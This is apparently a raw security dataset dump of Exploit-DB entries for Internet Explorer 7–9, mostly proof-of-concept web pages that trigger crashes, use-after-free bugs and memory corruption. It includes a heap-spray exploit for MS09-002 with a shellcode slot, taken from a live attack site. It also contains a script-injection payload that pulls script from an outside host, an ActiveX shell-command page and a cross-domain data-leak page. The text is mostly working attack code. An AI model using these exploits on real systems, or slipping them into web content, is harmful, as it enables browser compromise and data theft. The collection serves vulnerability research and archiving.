deardaniel/secdata-raw huggingface dataset:
Exploit-DB #8077
Description: Microsoft Internet Explorer 7 - Memory Corruption (PoC) (MS09-002)
Type: dos
Platform: windows
Date: 2009-02-18
Author: anonymous

Exploit:
<!--
MS09-002
===============================
grabbed from:
wget http://www.chengjitj.com/bbs/images/alipay/mm/jc/jc.html --user-agent="MSIE 7.0; Windows NT 5.1"

took a little but found it. /str0ke
-->

<script language="JavaScript">

var c="putyourshizhere-unescaped";

var array = new Array(); 

var ls = 0x100000-(c.length*2+0x01020); 

var b = unescape("%u0C0C%u0C0C"); 
while(b.length<ls/2) { b+=b;} 
var lh = b.substring(0,ls/2); 
delete b; 

for(i=0; i<0xC0; i++) { 
	array[i] = lh + c;
} 

CollectGarbage();

var s1=unescape("%u0b0b%u0b0bAAAAAAAAAAAAAAAAAAAAAAAAA");
var a1 = new Array();
for(var x=0;x<1000;x++) a1.push(document.createElement("img"));

function ok() { 
	o1=document.createElement("tbody"); 
	o1.click; 
	var o2 = o1.cloneNode();	
	o1.clearAttributes(); 
	o1=null; CollectGarbage(); 
	for(var x=0;x<a1.length;x++) a1[x].src=s1; 
	o2.click;
}
</script><script>window.setTimeout("ok();",800);</script>

# milw0rm.com [2009-02-18]
Exploit-DB #28897
Description: Microsoft Internet Explorer 7 - MHTML Denial of Service
Type: dos
Platform: windows
Date: 2006-11-02
Author: Positive Technologies

Exploit:
source: https://www.securityfocus.com/bid/20875/info

Microsoft Internet Explorer is prone to a denial-of-service vulnerability. This issue occurs when Internet Explorer attempts to parse certain malformed HTML content.

Successfully exploiting this issue will cause the affected application to crash, denying service to legitimate users.

Internet Explorer 7 is vulnerable to this issue; other versions may also be affected.

Content-Type: text/html; 
charset="windows-1251" 
Content-Transfer-Encoding: quoted-printable 
Content-Location: about:blank 

<iframe name=ifr src="">
Exploit-DB #1475
Description: Microsoft Internet Explorer 7.0 Beta 2 - 'urlmon.dll' Denial of Service
Type: dos
Platform: windows
Date: 2006-02-07
Author: Tom Ferris

Exploit:
<!--- 
    Internet Explorer 7.0 Beta 2 urlmon.dll DoS 
    
    Discovered by:
    Tom Ferris
    <tommy[at]security-protocols[dot]com>
    
    Tested on:
    Windows XP SP2
    
    Vulnerable Versions:
    IE 7.0.5296.0
    
    1/31/2006 Security-Protocols.com
    
    This program is free software; you can redistribute it and/or modify it under 
    the terms of the GNU General Public License version 2, 1991 as published by
    the Free Software Foundation.
!-->

<BGSOUND SRC=file://------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- >

# milw0rm.com [2006-02-07]
Exploit-DB #34602
Description: Microsoft Internet Explorer 7/8 - CSS Handling Cross Domain Information Disclosure
Type: dos
Platform: windows
Date: 2010-09-06
Author: Chris Evans

Exploit:
source: https://www.securityfocus.com/bid/42993/info

Microsoft Internet Explorer is prone to a cross-domain information-disclosure vulnerability because the application fails to enforce the same-origin policy.

An attacker can exploit this issue by enticing an unsuspecting user into viewing a page containing malicious content.

Successful exploits will allow attackers to bypass the same-origin policy and obtain potentially sensitive information; other attacks are possible.

This issue affects Internet Explorer 6, 7, and 8. 

<html> <head> <style> @import url("http://www.example.com/hi_heige"); </style> <script> function loaded() { alert(document.styleSheets(0).imports(0).cssText); } </script> </head> <body onload="loaded()"> </body> </html>
Exploit-DB #9253
Description: Microsoft Internet Explorer 7/8 - findText Unicode Parsing Crash
Type: dos
Platform: windows
Date: 2009-07-24
Author: Hong10

Exploit:
<meta http-equiv="Context-Type" content="text/html; charset=US-ASCII">
<!--
Contact:h0n9t3n@gmail.com,AmesianX@gmail.com
Title: MS Internet Explorer findText Unicode Parsing error
Vulnerability (mshtml.dll) 
Bug discovered: Hong10 
PoC code: AmesianX & Hong10 
Critical: low 
Impact: MS Internet Explorer 7/8 Crash 
Where: From remote 
Tested Operating System: Windows XP SP3 FULL PATCHED (Korean Language) 

Solution: I don't know.. 

Description: 
 The following bug was tested on the latest version of Internet 
Explorer 7/8. 

by research team NSHC
--> 
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html><head><title>IE findText crash</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8"></head><body>
<input type="button" value="exploit" onclick="do_crash();">
Hit the button after ie7/8 crash..
<script>
function do_crash()
{
var o1=document.createElement("input");
o1.type="text";  //or password
o1.id="powerhacker";
o1.value="AAAA";
document.body.appendChild(o1);
var r= o1.createTextRange();
r.findText(unescape("%u4141%u4141%u4141%u4141%u4242%u4242%u4242%u4242%u4343%u4343%u4343%u4343%u4444%u4444%u4444%u4444%u4545%u4545%u4545%u4545"),-1);
//maybe string length allocated stack but over length allocated heap memory
//r.findText(unescape("%u4141%u4141%u4141%u4141%u4242%u4242%u4242%u4242%u4343%u4343%u4343%u4343%u4444%u4444%u4444%u4444%u4545%u4545%u4545%u4545"),-1,131072);
//this code is no crash becase 3 parameter 
}
</script>
</body></html>
<html><body></body></html>

# milw0rm.com [2009-07-24]
Exploit-DB #34069
Description: Microsoft Internet Explorer 8 - CSS 'expression' Remote Denial of Service
Type: dos
Platform: windows
Date: 2010-01-01
Author: MustLive

Exploit:
source: https://www.securityfocus.com/bid/40487/info

Microsoft Internet Explorer is prone to a remote denial-of-service vulnerability.

Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted webpage.

Successfully exploiting this issue will cause the application to stop responding, denying service to legitimate users.

Internet Explorer 6, 7, and 8 are vulnerable.

<html> <head> <title>Internet Explorer DoS Exploit (C) 2008 MustLive. http://websecurity.com.ua</title> </head> <body> <p style="dos:expression(alert('DoS'))">IE DoS</p> </body> </html>
Exploit-DB #15708
Description: Microsoft Internet Explorer 8 - CSS Parser Denial of Service
Type: dos
Platform: windows
Date: 2010-12-08
Author: WooYun

Exploit:
<code>
<div style="position: absolute; top: -999px;left: -999px;">
<link href="css.css" rel="stylesheet" type="text/css" />
</code>

<code of css.css>
*{
 color:red;
}
@import url("css.css");
@import url("css.css");
@import url("css.css");
@import url("css.css");
</code>


Exploit-DB Notes:
* Original credit goes to an unidentified researcher using WooYun anonymous account "路人甲".
WooYun is a connection platform for vendors and security researchers:
http://www.wooyun.org/bugs/wooyun-2010-0885

* Dec 22, 2010 - Microsoft releases security advisory for this vulnerability:
http://www.microsoft.com/technet/security/advisory/2488013.mspx
Exploit-DB #11438
Description: Microsoft Internet Explorer 8 - Denial of Service
Type: dos
Platform: windows
Date: 2010-02-13
Author: Asheesh kumar Mani Tripathi

Exploit:
                     =======================================================================

                      Internet Explorer 8 (Multitudinous looping )Denial of Service Exploit
                     =======================================================================

                                                     by

                                            Asheesh Kumar Mani Tripathi


# code by Asheesh kumar Mani Tripathi

# email informationhacker08@gmail.com

# company       aksitservices

# Credit by Asheesh Anaconda


#Download http://www.microsoft.com/windows/internet-explorer/worldwide-sites.aspx
#Greets to Bhudeo Prasad for making shell script :)


#Background

Internet Explorer 8 is a popular internet browser. with lots of bugs .....:)

#Vulnerability
This bug is a typical result of multitudinous  loop.  
The flaw exists within "history go" ActiveX control which contains 
stack based overflow conditions.User interaction is required to 
exploit this vulnerability in that the target must visit a malicious 
web page.


#Impact

Attacker Can run any windows command ,consume lots of memory and able to crash your IE or make 
your system unaccessible,your work if any   might be lost

#Proof of concept
copy the code in text file and save as "asheesh.html" open in Internet Explorer 8

========================================================================================================================

                                                           asheesh.html
========================================================================================================================
<html>
<title>asheesh kumar mani tripathi</title>

<head>
<script type="text/javascript">
function sucks()
{

var shell=new ActiveXObject("WScript.Shell");
shell.Run("ipconfig", 1);

}

function asheesh()
{
sucks();
window.onerror=new Function("history.go(0)");
window.print();
asheesh();


}
asheesh();
</script>
</head>
<body onLoad="asheesh()"></body>

</html>


========================================================================================================================




#If you have any questions, comments, or concerns, feel free to contact me.
Exploit-DB #32902
Description: Microsoft Internet Explorer 8 - File Download Denial of Service
Type: dos
Platform: windows
Date: 2009-04-11
Author: Nam Nguyen

Exploit:
source: https://www.securityfocus.com/bid/34478/info

Microsoft Internet Explorer is prone to a remote denial-of-service vulnerability.

Successful exploits can allow attackers to hang the affected browser, resulting in denial-of-service conditions. 

#/usr/bin/env python
import sys
import random

CHAR_SET = [chr(x) for x in range(0x20)]
CHAR_SET += [chr(x) for x in range(128, 256)]

def send_file():
      l = 800000 + 4096
      print "Content-Type: text/plain"
      print "Content-Length: %d" % l
      print "Cache-Control: no-cache, no-store, must-revalidate"
      # this is not standardized, but use it anyway
      print "Pragma: no-cache"
      print ""
      # bypass IE download dialog
      sys.stdout.write("a" * 4096)
      # print junks
      for i in xrange(l):
              sys.stdout.write(random.choice(CHAR_SET))
      sys.exit()

send_file()
Exploit-DB #40798
Description: Microsoft Internet Explorer 8 - jscript 'Reg­Exp­Base::FBad­Header' Use-After-Free (MS15-018)
Type: dos
Platform: windows
Date: 2016-11-21
Author: Skylined

Exploit:
<!--
Source: http://blog.skylined.nl/[PII_REDACTED]1.html

Synopsis

A specially crafted web-page can cause the Javascript engine of Microsoft Internet Explorer 8 to free memory used for a string. The code will keep a reference to the string and can be forced to reuse it when compiling a regular expression.

Known affected software, attack vectors and mitigations

Microsoft Internet Explorer 8

An attacker would need to get a target user to open a specially crafted web-page. Disabling Javascript should prevent an attacker from triggering the vulnerable code path.
-->

<!DOCTYPE html>
<html>
  <script>
    // This Po­C attempts to exploit a use-after-free bug in Microsoft Internet
    // Explorer 8.
    // See http://blog.skylined.nl/[PII_REDACTED]1.html for details.
    var r=new Reg­Exp("A|x|x|xx|xxxxxxxxxxxxxxxxxxxx+", "g");
    "A".replace(r, function (){
      // Force OLEAUT32 to free the string
      for (var j = 0; j < 16; j++) new Array(0x1000).join("B");
      // Reuse the freed memory
      r.compile();
    });
    // This work by Sky­Lined is licensed under a Creative Commons
    // Attribution-Non-Commercial 4.0 International License. 
  </script>
</html>

<!--
Description

Recompiling the regular expression pattern during a replace can cause the code to reuse a freed string, but only if the string is freed from the cache by allocating and freeing a number of strings of certain size, as explained by Alexander Sotirov in his Heap Feng-Shui presentation.

Exploit

Exploitation was not investigated.

Time-line

March 2015: This vulnerability was found through fuzzing.
March 2015: This vulnerability was submitted to ZDI.
April 2015: This vulnerability was acquired by ZDI.
October 2015: Microsoft addressed this issue in MS15-018.
November 2016: Details of this issue are released.
-->
Exploit-DB #40815
Description: Microsoft Internet Explorer 8 - MSHTML 'Ptls5::Ls­Find­Span­Visual­Boundaries' Memory Corruption
Type: dos
Platform: windows
Date: 2016-11-22
Author: Skylined

Exploit:
<!--
Source: http://blog.skylined.nl/[PII_REDACTED]1.html

Synopsis

A specially crafted web-page can cause an unknown type of memory corruption in Microsoft Internet Explorer 8. This vulnerability can cause the Ptls5::Ls­Find­Span­Visual­Boundaries method (or other methods called by it) to access arbitrary memory.

Known affected software, attack vectors and mitigations

Microsoft Internet Explorer 8

An attacker would need to get a target user to open a specially crafted web-page. Java­Script is not necessarily required to trigger the issue.

Description

The memory corruption causes the Ptls5::Ls­Find­Span­Visual­Boundaries method to access data at seemingly random addresses. However, these addresses appear to always be in the same range as valid heap addresses, even if they are often not DWORD aligned. The reason for the memory corruption is not immediately obvious.

Repro.html
-->

<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml">
  <body>
    <button>
      <pre>
        <x>
          <sub>
            <ruby>
              <img height="1"/>
            </ruby>
          </sub>
        </x>
      </pre>
    </button>
  </body>
</html>

<!--
Time-line

July 2014: This vulnerability was found through fuzzing.
November 2016: Details of this issue are released.
-->
Exploit-DB #31593
Description: Microsoft Internet Explorer 8 Beta 1 - 'ieframe.dll' Script Injection
Type: dos
Platform: windows
Date: 2008-04-02
Author: The Hacker Webzine

Exploit:
source: https://www.securityfocus.com/bid/28581/info

Microsoft Internet Explorer is prone to a script-injection vulnerability when handling specially crafted requests to 'acr_error.htm' via the 'res://' protocol. The file resides in the 'ieframe.dll' dynamic-link library.

An attacker may leverage this issue to execute arbitrary code in the context of a user's browser. Successful exploits can allow the attacker to steal cookie-based authentication credentials, obtain potentially sensitive information stored on the victim's computer, and launch other attacks.

Internet Explorer 8 is vulnerable. Internet Explorer 7 is likely vulnerable as well, but this has not been confirmed.

res://ieframe.dll/acr_error.htm#<h1>foo</h1>,<h1>foo</h1> res://ieframe.dll/acr_error.htm#<iframe/src=''/onload='javascript:document.write("<iframe/src=\"file://localhost/test.txt\"></iframe>")'></iframe>,foo res://ieframe.dll/acr_error.htm#<iframe/src=''/onload='javascript:document.write("<script/src=http://www.example.com/></script>")'></iframe>,foo res://ieframe.dll/acr_error.htm#<iframe/src=''/onload='javascript:document.location="file://..\\ServerName\\pipe\\PipeName"'></iframe>,foo
Exploit-DB #31592
Description: Microsoft Internet Explorer 8 Beta 1 - XDR Prototype Hijacking Denial of Service
Type: dos
Platform: windows
Date: 2008-04-02
Author: The Hacker Webzine

Exploit:
source: https://www.securityfocus.com/bid/28580/info

Microsoft Internet Explorer is prone to a denial-of-service vulnerability.

An attacker may exploit this issue by enticing victims into opening a maliciously crafted webpage.

Successfully exploiting this issue will allow attackers to crash the application, denying service to legitimate users.

This issue affects Microsoft Internet Explorer 8 Beta 1. 

<script>

// trying prototype hijacking here.

xdr = XDomainRequest;

XDomainRequest = function() 

return new XDomainRequest();

}



ping = 'hello';

xdr = new XDomainRequest(); 

xdr.open("POST", "http://cnn.com"); 

xdr.send(ping);



</script>
Exploit-DB #9362
Description: Microsoft Internet Explorer 8.0.7100.0 - Simple HTML Remote Crash (PoC)
Type: dos
Platform: windows
Date: 2009-08-05
Author: schnuddelbuddel

Exploit:
Veryfied with IE8.0.7100.0 on W7 x64 RC.

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional" "http://www.w3.org/TR/html4/strict.dtd">
<html>
 <body>
   <div style = "width: 100%; max-height: 400px; overflow: scroll;">
     <script type="text/javascript" src="nichtvorhanden"></script>
     <script type="text/javascript"></script>
   </div>
 </body>
</html>


Any comments (reaseon? dangerous? ...) are welcome.

schnuddelbuddel

# milw0rm.com [2009-08-05]
Exploit-DB #40879
Description: Microsoft Internet Explorer 9 - CDoc::Execute­Script­Uri Use-After-Free (MS13-009)
Type: dos
Platform: windows
Date: 2016-12-06
Author: Skylined

Exploit:
<!--
Source: http://blog.skylined.nl/[PII_REDACTED]1.html

Synopsis

A specially crafted web-page can trigger a use-after-free vulnerability in Microsoft Internet Explorer 9. I did not investigate this vulnerability thoroughly, so I cannot speculate on the potential impact or exploitability.

Known affected software and attack vectors

Microsoft Internet Explorer 9

An attacker would need to get a target user to open a specially crafted web-page. Disabling Java­Script does not prevent an attacker from triggering the vulnerable code path.

Repro.html:
-->

<iframe style="border:1px solid red;width:100%;height:100%;" name="iframe"></iframe>
<script>
    window.open("Repro.xml", "iframe");
    set­Timeout(function () {
      window.open('javascript:void(location.href = "about:blank");', "iframe");
    }, 1000);
</script>

<!--
Repro.xml:

<!DOCTYPE x PUBLIC "" "http://www.w3.org/TRt.dtd">

Description

This is the first security vulnerability I sold to ZDI after I quit my job at Google to live off security bug bounties. It appears I either did not analyze this issue (probably), or misplaced my analysis (probably not), as I cannot find any details in my archives, other than a repro and a HTML bug report (provided below) created by a predecessor to Bug­Id. From the information provided by ZDI in their advisory, and Microsoft in their bulletin, as well as the bug report, it seems to have been a use-after-free vulnerability. Unfortunately, that is all the analysis I can provide.

Time-line

June 2012: This vulnerability was found through fuzzing.
June 2012: This vulnerability was submitted to ZDI.
July 2012: This vulnerability was acquired by ZDI.
September 2012: This vulnerability was disclosed to Microsoft by ZDI.
February 2013: Microsoft addresses this vulnerability in MS13-009.
December 2016: Details of this vulnerability are released.
-->
Exploit-DB #40923
Description: Microsoft Internet Explorer 9 - IEFRAME CMarkup::Remove­Pointer­Pos Use-After-Free (MS13-055)
Type: dos
Platform: windows
Date: 2016-12-15
Author: Skylined

Exploit:
<!--

Source: http://blog.skylined.nl/[PII_REDACTED]1.html

Synopsis

A specially crafted web-page can trigger a use-after-free vulnerability in Microsoft Internet Explorer 9. I did not investigate this vulnerability thoroughly, so I cannot speculate on the potential impact or exploitability.

Known affected software and attack vectors

Microsoft Internet Explorer 9

An attacker would need to get a target user to open a specially crafted web-page. Disabling Java­Script should prevent an attacker from triggering the vulnerable code path.
Details
This bug was found back when I had very little knowledge and tools to do analysis on use-after-free bugs, so I have no details to share. ZDI revealed that this was a use-after-free vulnerability, though their advisory mentions an iframe, which is not in the repro I provided. I have included a number of reports created using a predecessor of Bug­Id below.

Repro.html:
-->

<!DOCTYPE html>
<html>
  <script>
    document.add­Event­Listener("load", function (){
      document.document­Element.remove­Node(true);
    }, true);
    document.add­Event­Listener("DOMNode­Removed", function (){
      document.write("");
    }, true);
  </script>
  <style>
  </style>
  <span dir="rtl">
    <ruby dir="ltr">
      <br/>
    </ruby>
  </span>
</html>

<!--
Time-line

Sometime in November 2012: This vulnerability was found through fuzzing.
11 November 2012: This vulnerability was submitted to EIP.
10 December 2012: This vulnerability was rejected by EIP.
12 December 2012: This vulnerability was submitted to ZDI.
25 January 2013: This vulnerability was acquired by ZDI.
15 February 2013: This vulnerability was disclosed to Microsoft by ZDI.
26 July 2013: This vulnerability was address by Microsoft in MS13-055.
14 December 2016: Details of this vulnerability are released.
-->
Exploit-DB #40907
Description: Microsoft Internet Explorer 9 - IEFRAME CSelection­Interact­Button­Behavior::_Update­Button­Location Use-After-Free (MS13-047)
Type: dos
Platform: windows
Date: 2016-12-12
Author: Skylined

Exploit:
<!--
Source: http://blog.skylined.nl/[PII_REDACTED]1.html

Synopsis
A specially crafted web-page can trigger a use-after-free vulnerability in Microsoft Internet Explorer 9. I did not investigate this vulnerability thoroughly, so I cannot speculate on the potential impact or exploitability.

Known affected software and attack vectors
Microsoft Internet Explorer 9
An attacker would need to get a target user to open a specially crafted web-page. Disabling Java­Script should prevent an attacker from triggering the vulnerable code path.
Details
This bug was found back when I had very little knowledge and tools to do analysis on use-after-free bugs, so I have no details to share. EIP revealed that this was a use-after-free vulnerability. I have included a number of reports created using a predecessor of Bug­Id below.

Repro.html:
-->

<!DOCTYPE html>
<html>
  <head>
    <meta http-equiv="X-UA-Compatible" content="IE=Emulate­IE7" >
    <script>
      function go() {
        document.exec­Command('Select­All');
        document.exec­Command('superscript');
        set­Timeout(function() {
          o­Sup­Element=document.get­Elements­By­Tag­Name('sup')[0];
          o­Sup­Element.swap­Node(document.document­Element);
        }, 0);
      }
    </script>
  </head>
  <body onload="go()">
    <address></address>
    <fieldset></fieldset>
  </body>
</html>

<!--
Time-line
27 September 2012: This vulnerability was found through fuzzing.
3 December 2012: This vulnerability was submitted to EIP.
10 December 2012: This vulnerability was rejected by EIP.
12 December 2012: This vulnerability was submitted to ZDI.
25 January 2013: This vulnerability was acquired by ZDI.
15 February 2013: This vulnerability was disclosed to Microsoft by ZDI.
27 June 2013: This vulnerability was address by Microsoft in MS13-047.
12 December 2016: Details of this vulnerability are released.
-->